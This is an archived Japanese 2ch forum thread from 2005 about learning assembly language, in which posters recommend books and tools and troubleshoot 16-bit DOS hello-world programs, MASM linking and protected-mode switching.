アセンブラ… ヽ(゚∀゚)ノフォーウ!
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2005/11/24(木) 01:00:38【前スレ】
アセンブラ… (0w0)ウェーイ
http://pc8.2ch.net/test/read.cgi/tech/1115188369/
0002デフォルトの名無しさん
2005/11/24(木) 01:01:38アセンブラ… (´・∀・`)ヘー (Part8)
http://pc8.2ch.net/test/read.cgi/tech/1101390110/
アセンブラ… (°Д°)ハァ? (Part7)
http://pc5.2ch.net/test/read.cgi/tech/1093519463/
アセンブラ… (;´Д`) ハァハァ (Part6)
http://pc5.2ch.net/test/read.cgi/tech/1087897801/
アセンブラ… (*´д`*)アハァ… (Part5)
http://pc5.2ch.net/test/read.cgi/tech/1076157613/
アセンブラ… (゚д゚)ウマー (Part4)
http://pc2.2ch.net/test/read.cgi/tech/1060928704/
アセンブラヽ(`Д´)ノモルァ (Part3)
http://pc2.2ch.net/tech/kako/1040/10402/1040297337.html
アセンブラヽ(`Д´)ノモルァ (Part2)
http://pc3.2ch.net/tech/kako/1016/10169/1016991911.html
アセンブラ… (・∀・)イイ! (Part1)
http://pc.2ch.net/tech/kako/1002/10022/1002267809.html
0003デフォルトの名無しさん
2005/11/24(木) 01:03:030004デフォルトの名無しさん
2005/11/24(木) 01:09:400005デフォルトの名無しさん
2005/11/24(木) 01:10:170006デフォルトの名無しさん
2005/11/24(木) 02:17:570007デフォルトの名無しさん
2005/11/24(木) 06:22:470008デフォルトの名無しさん
2005/11/24(木) 06:25:09乙
かなり前からいるけど俺は低レベルなので初カキコ
0009デフォルトの名無しさん
2005/11/24(木) 12:04:02アセンブリ言語の教科書で勉強中
0010デフォルトの名無しさん
2005/11/24(木) 20:45:12アセンブラより低レベルっていうと、
基板とかチップ類の設計や制作の御担当の方ですか?
0011デフォルトの名無しさん
2005/11/24(木) 23:00:38いやいや、違うです。
基板とかチップ類の素材選択を御担当の方です。
0012デフォルトの名無しさん
2005/11/24(木) 23:08:55理解してあげなきゃ(0w0)ウェーイ
0013デフォルトの名無しさん
2005/11/25(金) 03:32:26基盤やチップ類の設計よりさらに低レベルのFET設計です
0014デフォルトの名無しさん
2005/11/25(金) 17:00:150015デフォルトの名無しさん
2005/11/25(金) 19:08:380016デフォルトの名無しさん
2005/11/25(金) 19:32:51いやテキストの方は書いてるとことかあるんだけど、グラフィックの方は見つからないんすよね。
つか、みんな普通に「VRAMを直接操作して画像を...」とか言うけど、何処でこうゆうのを学んでるんでしょう
0017デフォルトの名無しさん
2005/11/25(金) 19:56:00教科書とどっちがいい?
0018デフォルトの名無しさん
2005/11/25(金) 20:17:121から7までを教えてくれるのが独習アセンブラ
3から10までを教えてくれるのがアセンブリ言語の教科書
おまいのプログラミング技術によるぞ。
0019デフォルトの名無しさん
2005/11/25(金) 20:29:07ttp://community.osdev.info/index.php?VGA
0020デフォルトの名無しさん
2005/11/25(金) 22:36:191〜2まではネットでいけるってことだな?
0021デフォルトの名無しさん
2005/11/25(金) 22:50:071〜7まで教えてくれるて、進む速度が遅いのが独習アセンブラ
1〜10まで教えてくれて、進む速度が速いのがアセンブリ言語の教科書
だろ。
それに1〜5くらいまではネットで十分だよ。
0022デフォルトの名無しさん
2005/11/25(金) 23:47:26つ[PC-9801 スーパーテクニック]
002316
2005/11/26(土) 07:43:19ありがとうございます
それを見ると設定方法まではわかるのですが、ただ、その先が無いんですよ orz
具体的にどんなデータをどう流し込めばよいのかとか、どんな仕組みになってるかというかとか
>>22
参考になります。
因に書いてるのって現代のPCでもそのまま通用するのですか?
0024デフォルトの名無しさん
2005/11/26(土) 08:11:09実際書いて試そうって気はないわけ?
>>22のは書名見てわからないなら見るだけ無駄。
昔の国産パソコン用の資料だから。
0025デフォルトの名無しさん
2005/11/26(土) 08:43:40本当に何もわかってないな
0026デフォルトの名無しさん
2005/11/26(土) 09:05:46> BIOSの力を借りずにVRAMを操作
> 本当に何もわかってないな
2ちゃんねるの知ったかぶりって必ずこういう書き方をしてワロス
0027デフォルトの名無しさん
2005/11/26(土) 10:28:05そんな書き方しても無駄。
0028デフォルトの名無しさん
2005/11/26(土) 11:01:56・そんな〜無駄。
テンプレート化しようぜ
002916
2005/11/26(土) 11:47:09試そうとは思ったのですが、試せませんでした_| ̄|○
色々な設定について書かれた偉大な資料である事はわかるのですが、
既に描画の仕方を知ってる人向けの資料のようでして...自分にはそんな知識も無く....
>昔の国産パソコン用の資料だから。
了解です
0030デフォルトの名無しさん
2005/11/26(土) 12:02:20だったら素直にあきらめなよ。
知識って持ってることを自慢するためにあるんじゃない
ぞ、色々試して「こんなことやっても駄目なんだ」とい
うのも大切な知識だよ。
0031デフォルトの名無しさん
2005/11/26(土) 13:17:300032デフォルトの名無しさん
2005/11/26(土) 13:23:020033デフォルトの名無しさん
2005/11/26(土) 15:16:10003416
2005/11/26(土) 17:58:04そんな風にあの資料を補完する為の知識を当り前のように言う方は何処でその知識を仕入れたのかなと>>16
はじめて読むシリーズもあらかた買ったんですがグラフィックについて書かれた資料が無いですし
0035意欲のない奴に何を言っても無駄か…。
2005/11/26(土) 18:16:46自分の目の前にあるPC
0036デフォルトの名無しさん
2005/11/26(土) 18:32:480037デフォルトの名無しさん
2005/11/26(土) 18:48:590038デフォルトの名無しさん
2005/11/26(土) 19:03:38〜進数計算用電卓〜
C電卓
ttp://www.vector.co.jp/soft/win95/personal/se345870.html
〜バイナリエディタ〜
Stirling(定番)
ttp://www.vector.co.jp/soft/win95/util/se079072.html
狐'sバイナリエディタ(定番)
ttp://www.vector.co.jp/soft/win95/util/se032901.html
TSXBIN(マクロ機能等・多彩)
ttp://www.net3-tv.net/~m-tsuchy/index.htm
0039デフォルトの名無しさん
2005/11/26(土) 19:11:450040デフォルトの名無しさん
2005/11/26(土) 19:34:31つーか、FoxBEでできることはStirlingで事が足りる。
0041デフォルトの名無しさん
2005/11/26(土) 19:36:20って何?
0042デフォルトの名無しさん
2005/11/26(土) 19:37:140043デフォルトの名無しさん
2005/11/26(土) 19:37:480044デフォルトの名無しさん
2005/11/26(土) 19:40:01なかなかやる
0045デフォルトの名無しさん
2005/11/26(土) 19:45:57普通のテキストエディタの方が難易度は数レベル高いよ。
0046デフォルトの名無しさん
2005/11/26(土) 19:48:03本当にそんなな無駄
0047デフォルトの名無しさん
2005/11/26(土) 19:54:49ご冗談でしょうファインマンさん1の「僕、僕、僕にやらせてくれ!」の一番最後の段落を100回音読しろ
0049デフォルトの名無しさん
2005/11/26(土) 20:00:37英語で書け低脳
0050デフォルトの名無しさん
2005/11/26(土) 20:02:35その本持ってる奴って結構いるのな
点呼しようぜ
ノシ
0051デフォルトの名無しさん
2005/11/26(土) 20:03:34プロファイラ(マクロみたいなの)が便利。
デカいファイルには向かないけど数メガ程度の実行ファイルを調べるのには適してると思う。
0052デフォルトの名無しさん
2005/11/26(土) 20:05:33クラックパッチ当てるときにしか使わないだろ
0053デフォルトの名無しさん
2005/11/26(土) 20:05:46Repeat the sentence 100 times in which was written in the last paragraph of the
chapter "Meeeeeeeeee!" in the famous book "Surely you're joking, Mr.Feynman!"
0054デフォルトの名無しさん
2005/11/26(土) 20:06:53理系の大学生なら教養だと思った
2ちゃんねるでは、物理板でデフォルトの名前になってるな
0055デフォルトの名無しさん
2005/11/26(土) 20:34:08昔、図書館で借りて読んだ
0056デフォルトの名無しさん
2005/11/26(土) 20:34:52OllyDBGでそのまま当てちゃいますが。
0057デフォルトの名無しさん
2005/11/26(土) 21:30:45僕たちは「できるけどやらないだけのことさ」といつも自分に言いきかせているわけだが、
これは「できない」というのを別な言葉で言っているだけのことなのだ。
-----
「ご冗談でしょう、ファインマンさん」
"僕,僕,僕にやらせてくれ!"
R.P.ファインマン著
0058デフォルトの名無しさん
2005/11/26(土) 21:32:40同一人物か
0059デフォルトの名無しさん
2005/11/26(土) 21:38:51そんな君には「逆境ナイン@島本和彦」あたりをお勧めしておこう
0060デフォルトの名無しさん
2005/11/26(土) 21:57:02それが無いからBZも使わざるを得ない
0061デフォルトの名無しさん
2005/11/26(土) 22:00:300062デフォルトの名無しさん
2005/11/26(土) 22:03:070063デフォルトの名無しさん
2005/11/26(土) 22:06:26当時は資料が潤沢にあったのさ。
雑誌の記事、専門書籍、MEGADEMOに稀に付いてるソースとか。
てか、今更そんなもん弄ってどーすんの?
0064デフォルトの名無しさん
2005/11/26(土) 22:10:38良書が絶版になってたりするから
0065デフォルトの名無しさん
2005/11/26(土) 22:21:150066デフォルトの名無しさん
2005/11/26(土) 22:45:010067デフォルトの名無しさん
2005/11/26(土) 22:52:46実家に残っているはずだ。
0068デフォルトの名無しさん
2005/11/26(土) 22:59:590069デフォルトの名無しさん
2005/11/26(土) 23:09:10パイプライン処理によって mov cr0, eax の次の jmp flush_q1 が解釈されているわけですが、
リアルモードとして解釈されたjmp命令は不都合が生じないのでしょうか?
007016
2005/11/27(日) 00:18:04なるほど、そんな資料が沢山ある素晴らしい時代があったんすね
いや、OSを作りたいのですが、グラフィックのとこで詰まってしまいまして
>>64
買おうとしても無理なのもあるんすね....
図書館いってみます。今まで図書館なんて行った事ないからちょっとドキドキ
0071デフォルトの名無しさん
2005/11/27(日) 00:33:07田舎の図書館じゃ無理だと思う。
大学内の図書館とか行け。
007269
2005/11/27(日) 00:34:328086が読めて、486が読めてもアセンブラ、コンパイラ、EXEファイルの仕組みを知らないと
まともに実行もできないんだということを。その点でLinusさんは偉大ですね。
0073デフォルトの名無しさん
2005/11/27(日) 00:39:290074デフォルトの名無しさん
2005/11/27(日) 01:03:56>>71も言ってるが、大学図書館かそれこそ国会図書館とかのでかいところ行かないと無い
大学図書館ならおそらく一般もゲスト扱いで入れるはずだから行ってこい
0075デフォルトの名無しさん
2005/11/27(日) 01:07:21ショートジャンプ命令はどのモードでも動作が同じ
0076デフォルトの名無しさん
2005/11/27(日) 01:15:55現在みたいに「ぐぐればいい」じゃなく
金も時間もかける必要があったわけだが。
普通に調べるだけなら
ネットで簡単に手に入る今の方が
よっぽど素晴らしい時代だと思うが。
わからなきゃ掲示板で質問してもいいし。
0077デフォルトの名無しさん
2005/11/27(日) 02:15:020078デフォルトの名無しさん
2005/11/27(日) 04:08:44どんなレベルのOS作ろうとしてるのかわからんけど、
今、資料が手元にないのはキツイんじゃないかなぁ。
もしかしたら秋葉行けばまだ扱ってる店とかあるかもしれない。(ブックタワー、高架下のパーツ屋街
それと資料が潤沢にあったのは、今Windows関連の情報が死ぬほどあるのと同じ理由。
0079デフォルトの名無しさん
2005/11/27(日) 04:25:08俺もあの、一つの命令セットのためにチャリで東京中の書店回った、貪欲な時代にネット使えてればなぁ
少なくともしょぼいエロ本で一喜一憂せずには済んだな(・∀・)
0080デフォルトの名無しさん
2005/11/27(日) 04:41:23同感。
0081デフォルトの名無しさん
2005/11/27(日) 08:04:15禿同。今の糞ガキどもは恵まれすぎだ。
0082デフォルトの名無しさん
2005/11/27(日) 08:36:06でも今のPCはなんだかんだで複雑過ぎだろ。
マウスドラッグしてボタン作るよりもマシン語でCPUと対話してた方が
コンピュータの楽しさはあきらかに上だと思うぞ。
0083デフォルトの名無しさん
2005/11/27(日) 08:54:47008469
2005/11/27(日) 09:07:15ありがとうございます。安心できてよかったです。jmp命令はどっちでも一緒なんですね。
それとPEフォーマットだとMS-DOSを焼き付けたシステムディスクからは起動できないというのは分かってきたのですが、
それだと32bitWindows上からしか実行できないわけで、プロテクトモードからリアルモードに移行しようとしたら凄い事になりそうです。
これをどんなものに変換すべきなんでしょうか?
0085デフォルトの名無しさん
2005/11/27(日) 09:12:07つ[エミュレーター]
0086デフォルトの名無しさん
2005/11/27(日) 16:44:46焼き付けた・・・ってROMじゃないんだから。
DOSでシステムフォーマットしたディスクね。
何がしたいのかよくわからないけど、
リアルモードのコードが実行したいの?
であれば、16bitのEXEかCOMファイルになるようにアセンブルして
DOS窓(仮想86モード)で実行するのが一番楽。
ただしプロテクトモード移行みたいなことはできない。
そういうことしたいなら、純粋なDOS(など)の上で動かすしかない。
(VMWareみたいな仮想環境でもいいけど)
008716
2005/11/27(日) 19:26:56御察しの通りですた。まったく成果が無かった訳じゃ無いですが肝心なものは見つけられず
>>72
大学図書館って一般でも入れるんすね。今度いってみまつ
>>76
それが、今のインターネットって全盛期と較べて寂れてしまったのか結構404なページも多くて、
出遅れた(つД`って感じがしないでもなかったり
>>78
秋葉原はちょっと遠いので直ぐには行けないんですが、今度秋葉原に行った時にそこも探してみます
0088デフォルトの名無しさん
2005/11/27(日) 19:34:38http://www.monaos.org/
0089デフォルトの名無しさん
2005/11/27(日) 21:16:51大学によるとは思うが、少なくとも俺が通ってる大学は一般でも
受付で所定の用紙に記入すれば(館内閲覧とコピーのみだが)利用できる
0090デフォルトの名無しさん
2005/11/27(日) 21:43:26変数zにたいして、
.comm _z 4,4と
.comm _z 4
とは、どのように意味が異なるのでしょうか?
0091デフォルトの名無しさん
2005/11/28(月) 00:04:55僕としてはプロテクトモードに移行したいのでDOSの起動ディスクに
アセンブルした(MASM)ものとコンパイル(C)したものをリンクして放り込んでやってみようとしましたが、案の定、DOS上では利用できない種の
メッセージが発せられました。PEだのELFだのいろいろキーワードにぐぐって見ましたがどうしてもこれを除く方法が見つかりません。
すべてBIOSとアセンブリ言語の組み合わせでやれば出来そうですが、それだとCの使いようがなくなってしまいます。
他に有効なキーワードは教えていただけないでしょうか?
もしかして、printfなどはWindowsのライブラリから呼び出しているのでDOSのシステムコールを呼ぶのとは違い、
実行できないからこういったメッセージが発せられるのでしょうか?
0092デフォルトの名無しさん
2005/11/28(月) 00:11:240093デフォルトの名無しさん
2005/11/28(月) 00:14:03根本的にコンピュータの動作原理とかOSの仕組みとか
理解してない悪寒
0094意欲のない奴に何を言っても無駄か…。
2005/11/28(月) 00:21:57> 他に有効なキーワードは教えていただけないでしょうか?
撤退、諦め、回線切断、もうくるな
0095デフォルトの名無しさん
2005/11/28(月) 00:28:21009691
2005/11/28(月) 00:35:14もうくるなって言われても...。
コンパイラはWindows用のコンパイラです。
お気分を害してしまったようなのでこのあたりで身を引かせていただきます。
0097デフォルトの名無しさん
2005/11/28(月) 00:41:02>>93も言ってるけど、目標に対して根本的な部分の理解が足りてない。
開発環境(コンパイラやアセンブラ)が吐き出すバイナリの動作環境は
開発環境の種類によって決まってる。同じhello worldソースでも、
開発環境によって違うバイナリが吐き出され、適切な動作環境でないと動作しない。
Windows向けの開発環境で作ったバイナリは、DOS上では動かない。
DOSで動かしたければ、DOS向けの開発環境が必要になる。
(Cだけでなくアセンブラもね)
つか、PEだのELFだの知ってて、なんでこんなところでひっかかるのかすげー不思議だ。
どういう開発経験してるんだ?
0098デフォルトの名無しさん
2005/11/28(月) 00:49:02MSの開発環境ってもう純DOS用のc0objとか含まれてないんかな?
0099デフォルトの名無しさん
2005/11/28(月) 00:54:25だって、何も考えずに「Windows用のコンパイラ使ってます」って答えるくらいだから。
今の時代なら、DOS用コンパイラなんて
ちょっと探すだけで簡単に落とせるのに。
0100デフォルトの名無しさん
2005/11/28(月) 01:12:37VCに関しては1.5で16bitサポートは終わってる。
MASMはDDKに付いてるのは32bit版らしいけど、16bitも使えるのかな?
MASM32は出元が怪しいのでさわらないことにしてる。
0101デフォルトの名無しさん
2005/11/28(月) 01:55:58つまり、「HDD以外の外部記憶装置に書き込むこと」を一般的に「焼く」と言っていたのか。
ちょっと斬新。
といっても、もうすぐ本来の意味での「携帯」の使用、
例えば「○○を携帯する」「携帯用○○」なんてのも
違和感を感じるようになるんだろうな。
っていうかもうそうなりつつかるか。
今は携帯って言葉が携帯電話を指さない事の方が珍しいし。
0102デフォルトの名無しさん
2005/11/28(月) 02:03:090103デフォルトの名無しさん
2005/11/28(月) 08:46:22あとWinME DDKにも16bit用のMS-Cがあったな。
ただ、LSI Cは関数の呼び出し規約がMS-Cなどとは異なっているので、
「はじめて読む486」のサンプルコードはそのまま使えないのが問題だな。
0104デフォルトの名無しさん
2005/11/28(月) 08:48:15DDK付属のMASMは32bitプログラムだが、16bitコードも吐ける。
0105デフォルトの名無しさん
2005/11/30(水) 00:12:32PlatformSDKに付属してるものでしょうか?
16bitアセンブラの頃にMASM使ったきりアセンブラとの付き合いが無かったので
いまどうなってるのかさっぱり判りません。
0106デフォルトの名無しさん
2005/11/30(水) 00:59:54ttp://www.tortall.net/projects/yasm/
0107デフォルトの名無しさん
2005/11/30(水) 01:16:56PlatformSDKにはアセンブラはない。Cコンパイラならあるんだけどね。
DDKにはあるらしい。
0108デフォルトの名無しさん
2005/11/30(水) 02:20:080109デフォルトの名無しさん
2005/11/30(水) 02:21:37011091
2005/11/30(水) 04:17:58同士でリンクさせてフロッピーに放り込んだら、見事にプロテクトモードに移行できました。
0111デフォルトの名無しさん
2005/11/30(水) 04:31:560112デフォルトの名無しさん
2005/11/30(水) 04:35:51俺の経験でも、アセンブリ言語の知識はあったけどWindowsではそれを活かせない・・・・
Windowsプログラミングも出来ない ないない状態で行き詰まった。
しかしあるフリーライターの人にメールを送ったら、丁寧に教えてくれた。
おかげでその辺を一気に突破できたなぁ
0113デフォルトの名無しさん
2005/11/30(水) 04:43:310114デフォルトの名無しさん
2005/11/30(水) 07:47:240115デフォルトの名無しさん
2005/11/30(水) 08:53:570116デフォルトの名無しさん
2005/11/30(水) 17:08:580117デフォルトの名無しさん
2005/11/30(水) 17:25:22VCのwin32コンソールで文字表示をしたいのですがどうすればよいでしょうか?
INT21HはMS-DOSなので使えないと聞きました(試してみると例外がでて使えませんでした)
よろしくお願いします
0118デフォルトの名無しさん
2005/11/30(水) 17:42:55printf/putsやWriteConsole/FileのようなCRTやWinAPIの関数を呼べば良い。
0119デフォルトの名無しさん
2005/11/30(水) 20:25:44INT 21H 使えるよ
INT 0AH とかも使える
0120デフォルトの名無しさん
2005/11/30(水) 20:28:170121デフォルトの名無しさん
2005/11/30(水) 20:28:20どうしてもDOSファンクション呼び出したいなら16ビットリンカを使う必要があると聞いたんだが・・・
0122デフォルトの名無しさん
2005/11/30(水) 20:52:29long __stdcall GetStdHandle(long);
long __stdcall _hwrite(long, char*, long);
void main()
{
char *buf = "Hello, World?\n";
__asm{
push -11 ; = STD_OUTPUT_HANDLE
call GetStdHandle
push 14
push buf
push eax
call _hwrite
}
}
0123デフォルトの名無しさん
2005/11/30(水) 21:13:180125デフォルトの名無しさん
2005/11/30(水) 22:03:13VCは32bit FLATモデル用のobjしか吐かないから、リンカだけ変えてもだめだろ。
0126デフォルトの名無しさん
2005/11/30(水) 22:50:16>>107
>>109
ありがとうございます。
DDKの中しらべてみます。
>>106
DDKの中でみつからなかったら使ってみます。
ありがとうございました。
0127デフォルトの名無しさん
2005/11/30(水) 23:45:08そんな俺にもようやくわかる時代がやってきました
0128デフォルトの名無しさん
2005/12/01(木) 00:38:220129デフォルトの名無しさん
2005/12/01(木) 01:04:38・・・そして「おまえみたいなやつにプログラム公開して欲しくないな!」
0130デフォルトの名無しさん
2005/12/01(木) 01:58:000131デフォルトの名無しさん
2005/12/01(木) 02:06:520132デフォルトの名無しさん
2005/12/01(木) 13:56:54おまえは馬鹿
x86のリアルモードのセグメントレジスタの扱い方と勘違いをしている
0133デフォルトの名無しさん
2005/12/01(木) 20:50:480134デフォルトの名無しさん
2005/12/02(金) 12:48:36今もなにも昔から、セグメントは仮想メモリシステムでのメモリーの管理単位の事じゃないか
そのセグメント方式を簡略化して実装したのがx86のリアルモードでのセグメント機能だろ
0135デフォルトの名無しさん
2005/12/02(金) 12:53:510136デフォルトの名無しさん
2005/12/02(金) 13:22:238086に関しては、仮想メモリなんてない。
セグメントレジスタは単なるベースアドレスとして使われる。
#まさか、セグメントレジスタの値を頻繁に変えるような応用は今じゃありえないだろう。
0137デフォルトの名無しさん
2005/12/02(金) 13:33:37いくつかあらかじめ用意しておくと
同様なことが出来ますよ
0138デフォルトの名無しさん
2005/12/02(金) 14:08:26ですな。
>>136
まあものすごく制限のあるアドレス変換機構として使えるので、
雰囲気くらいは味わえるのでは無いかと。
0139デフォルトの名無しさん
2005/12/03(土) 09:29:31固定アドレスに数値を埋め込むって事はできないんでしょうか?
ROM化した時にバージョン読めるようにしたいんですがよくわからんです。
SHのアセンブラだと .orig とか使えたんですがそーゆーのはないんですかねぇ。
0140デフォルトの名無しさん
2005/12/03(土) 12:41:05セクションを作成して、リンカで先頭アドレスを指定
0141デフォルトの名無しさん
2005/12/03(土) 22:09:110142デフォルトの名無しさん
2005/12/03(土) 22:14:260143デフォルトの名無しさん
2005/12/03(土) 22:15:13それなんか間違ってる
0144デフォルトの名無しさん
2005/12/03(土) 22:54:47それはDDK Suiteといって、DDKの他にHCT(ハードウェア互換性テストキット)だの
カーネルシンボルCDだのWinHECのプレゼンテーションだのを含んだもの。
http://www.microsoft.com/whdc/devtools/ddk/suite/default.mspx
DDK単体は$0.0
0145デフォルトの名無しさん
2005/12/03(土) 23:19:23どうもありがとうございます,下を選んだらDDKそのものは無償でした.
0146デフォルトの名無しさん
2005/12/10(土) 23:02:420147デフォルトの名無しさん
2005/12/14(水) 00:00:54ベースポインタで番地を指定するばあい
lw $t1 , $s3($s4)
のようにレジスタで指定することはできないのでしょうか?
0148デフォルトの名無しさん
2005/12/14(水) 00:04:03出来ないよ。残念!
0149デフォルトの名無しさん
2005/12/14(水) 00:07:460150147
2005/12/14(水) 00:09:05じゃあループでまわしてそこまでポインタを進ませるしかないの?
0151デフォルトの名無しさん
2005/12/14(水) 00:12:10add $s4, $s4, $s3
lw $t1, 0($s4)
0152150
2005/12/14(水) 00:13:43どもありがとうございます(__)
0153デフォルトの名無しさん
2005/12/14(水) 00:35:59Purpose: To load a word from memory to an FPR (GPR+GPR addressing).
Description: fd ← memory[base+index]
0154デフォルトの名無しさん
2005/12/14(水) 14:20:53x86スレで何を言ってるのかさっぱり分からなくて
なにか次に読むべき本やサイトを、お勧めいただけないッスかねぇ…
検索して、なんとなくUパイプやらVパイプは分かってきたのですが
0155デフォルトの名無しさん
2005/12/14(水) 14:28:330156デフォルトの名無しさん
2005/12/14(水) 14:46:430157デフォルトの名無しさん
2005/12/14(水) 16:12:430158デフォルトの名無しさん
2005/12/14(水) 17:07:200159154
2005/12/14(水) 17:18:24失礼、こちらです
ttp://pc8.2ch.net/test/read.cgi/tech/1103609337/
いやー私にはもの凄いレベルの高い話に思えてしまうッス
914とか暗号だ
0160デフォルトの名無しさん
2005/12/14(水) 17:20:460161デフォルトの名無しさん
2005/12/14(水) 17:35:07そのスレの1ですが、スレ内容に関する質問なら向こうでしてくれて構わんすよ。
おすすめリンクは向こうの84。簡単なものでもガンガンアセンブラを書いて実行するのが肝。
0162154
2005/12/14(水) 18:04:33いやとんでもない。私ごときが話の腰を折るわけには。
とはいえご親切にありがとうございます。
チラッと見ましたが正にこんなの求めてました> 84リンク先
早速取りかかってみます。
0163デフォルトの名無しさん
2005/12/14(水) 23:12:15まず、アセンブラを使おうと思ったのは何の為だ?
0164デフォルトの名無しさん
2005/12/15(木) 00:27:06話はそれからだ。
0165デフォルトの名無しさん
2005/12/15(木) 21:38:34もしくはマゾ。
0166デフォルトの名無しさん
2005/12/16(金) 10:03:24最適化作業の速度は明らかに負けているが
0167デフォルトの名無しさん
2005/12/16(金) 11:58:360168デフォルトの名無しさん
2005/12/16(金) 12:39:27コンパイラの出力を手でいじる程度のことはするがな。
gcc-3 の頃だったら手書きのコードが勝つ場面多いと思う。
0169デフォルトの名無しさん
2005/12/16(金) 16:23:40部分的に速くなっても全体的には変わらなかったり遅くなったりする。
VC6以降は結構効率よいコード吐いてくれるので、
SIMDで最適化しない限りたいして速度稼げないと思うよ。
0170デフォルトの名無しさん
2005/12/18(日) 11:10:23ここにあるフリーのアセンブラを使って"Hello.World!"のプログラムを実行してみたのですが、コンパイル?はできるのですが、できたEXEファイルの実行ができません。下のように表示されてしまいます。なぜでしょうか?
ttp://image.blog.livedoor.jp/kashmir951a11spanjimihen_4/imgs/c/d/cd890623.jpg
WINXPはアップデート版を使っていますが、どうやらもう一回インストールし直して完全にxpに移行させないといけないのでしょうか?
0171デフォルトの名無しさん
2005/12/18(日) 11:18:49どんなプログラムをどんなオプションを付けてアセンブルしたのか分からないと
適切な回答のしようがない。
0172デフォルトの名無しさん
2005/12/18(日) 11:26:400173デフォルトの名無しさん
2005/12/18(日) 11:33:01;as_exe.asm
CDSEG SEGMENT
ASSUME cs:CDSEG,ds:DTSEG,ss:STSEG
START:
mov ax,DTSEG
mov ds,ax
mov ah,09h
mov dx,OFFSET MSG
int 21H
mov ah,4CH
int 21H
CDSEG ENDS
DTSEG SEGMENT
MSG DB "Hello.World!",0DH,0AH,'$'
DTSEG ENDS
STSEG SEGMENT STACK
DB 100H DUP(?)
STSEG ENDS
END START
これを
ml as_exe.asm
とアセンブルしました。オブジェクトファイルとエグゼファイルはできたのですが、コマンドプロンプト上で実行できません。よろしくお願いします。
0174デフォルトの名無しさん
2005/12/18(日) 12:06:14Win98なら実行できそうだが。
0175デフォルトの名無しさん
2005/12/18(日) 12:29:36COMもDOS用EXEも実行できるよ。
>>173
それで本当にちゃんとアセンブル/リンク出来てる?
masm32って名前からして32bit用っぽいんだけど…
0176170
2005/12/18(日) 13:03:26リンカは下からダウンロードしました。16ビット版です。
http://download.microsoft.com/download/vc15/Update/1/win98/EN-US/Lnk563.exe
林晴比古『高級言語プログラマのためのアセンブラ入門』ソフトバンクパブリッシング
を参照にしているのですが。
他によいアセンブラはありますか?
0177デフォルトの名無しさん
2005/12/18(日) 13:45:460178デフォルトの名無しさん
2005/12/18(日) 13:49:32http://support.microsoft.com/kb/324767/
0179170
2005/12/18(日) 14:53:57ぺんた3です。
>>178
やってみましたが、解決しません。win2000・win98でやり直します。
みなさん、親切にありがとうございました。
0180デフォルトの名無しさん
2005/12/18(日) 15:56:3532bit版のアセンブラ&リンカを使え。
0181デフォルトの名無しさん
2005/12/18(日) 20:04:390182170
2005/12/18(日) 23:43:04ありがとうございました
0183デフォルトの名無しさん
2005/12/19(月) 22:11:55これなら俺が口を挟んでも場違いじゃないかも。
CS != DS なんだから COM じゃないよな。
DS に一度だけロードしてるから small model だ。
セレクタじゃなくてセグメント値ロードしてるから 16bit。
16bit版アセンブラ使え。
0184デフォルトの名無しさん
2005/12/20(火) 01:14:27masmは32bit版でも16bitコードを出力できますよ。
0185デフォルトの名無しさん
2005/12/20(火) 04:34:110186デフォルトの名無しさん
2005/12/20(火) 04:40:380187デフォルトの名無しさん
2005/12/20(火) 04:41:18おまえも低レベル。
COMでCS!=DSにしても何の問題もない。
0188デフォルトの名無しさん
2005/12/20(火) 05:09:21うちでもテストしてみたけど問題なし。 環境は XP SP1 です。
(link16 は link563.exe を展開して得られたもの。)
;
; ml /c testsmall.asm
; link16 /stack:256 testsmall.obj, testsmall.exe,,,,
;
cdseg segment
assume cs:cdseg, ds:dtseg, ss:stseg
start:
mov ax, dtseg
mov ds, ax
mov ah, 09h
mov dx, offset msg
int 21h
mov ah, 4Ch
int 21h
cdseg ends
dtseg segment
msg db "Hello, World!", 0Dh, 0Ah, '$'
dtseg ends
stseg segment stack
db 0100h dup(?)
stseg ends
end start
0189デフォルトの名無しさん
2005/12/20(火) 21:24:20やってみましたがEXEファイルができるところまではいくのですが、その後実行するとこれがでます。
ttp://ime.nu/image.blog.livedoor.jp/kashmir951a11spanjimihen_4/imgs/c/d/cd890623.jpg
WIN98からXPへのアップデート版を使っているのでそれが原因みたいです。
現在2000+LASM(多摩ソフトウェア)を使っています。みなさんありがとうございました。
0190デフォルトの名無しさん
2005/12/20(火) 23:57:090191デフォルトの名無しさん
2005/12/21(水) 06:47:48どういう意味ですか?やはりできればxpで使いたいので。
0192188
2005/12/21(水) 07:46:18漏れの XP も Win98 からアップデートした香具師使ってるよ
ちなみに CPU は PentiumIII 300MHz の今となっては超 poor なマシン
0193デフォルトの名無しさん
2005/12/21(水) 08:13:29意味が理解できるようになるまではセグメントは一緒にしておいたほうがいいかと....。
とりあえず「Hello.World!」が出力されなければ面白くないのではないですか?
; hello.asm
CDSEG SEGMENT
ASSUME cs:CDSEG,ds:CDSEG,ss:CDSEG
ORG 100H
START:
;mov ax,DTSEG
;mov ds,ax - コメント
mov ah,09h
mov dx,OFFSET MSG
int 21H
mov ah,4CH
int 21H
MSG DB "Hello.World!",0DH,0AH,'$'
; STSEG SEGMENT STACK
DB 100H DUP(?)
; STSEG ENDS
CDSEG ENDS
END START
--------------------------
コマンドプロンプト上で
ml hello.asm
exe2bin hello hello.com
hello.com
Hello.World!
ftp://ftp.microsoft.com/softlib/mslfiles/lnk563.exe で落としてきた16ビットリンカを c:\masm32\bin のディレクトリで
ダブルクリックして展開します。それより前に、既に存在する README.TXT と LINK.EXE はREADME32.TXT , LINK32.EXE に
リネームしておきまます。
0194デフォルトの名無しさん
2005/12/21(水) 11:23:14その結果DOS互換BOXが異常終了しているだけ
コマンドプロンプトのコンソールとDOS互換BOXは勝手に切り替わるが似て非なるものだよ
とりあえずconfig.nt/autoexec.ntの中身を確認しろ
0195170
2005/12/21(水) 17:48:46config.ntの下の部分。これのREM文を外してみます。
REM DEVICE=C:\MX400.SYS /s:40001092
device=C:\WINDOWS\SYSTEM32\HIMEM.SYS
REM device=C:\WINDOWS\EMM386.EXE RAM
REM devicehigh=C:\WINDOWS\biling.sys
REM devicehigh=C:\WINDOWS\jfont.sys /p=C:\WINDOWS
REM devicehigh=C:\WINDOWS\jdisp.sys
REM devicehigh=C:\WINDOWS\jkeyb.sys /106 C:\WINDOWS\jkeybrd.sys
devicehigh=C:\WINDOWS\SYSTEM32\KKCFUNC.SYS
devicehigh=C:\WINDOWS\SYSTEM32\ANSI.SYS
0196デフォルトの名無しさん
2005/12/21(水) 18:25:30↑コイシだろ
0197170
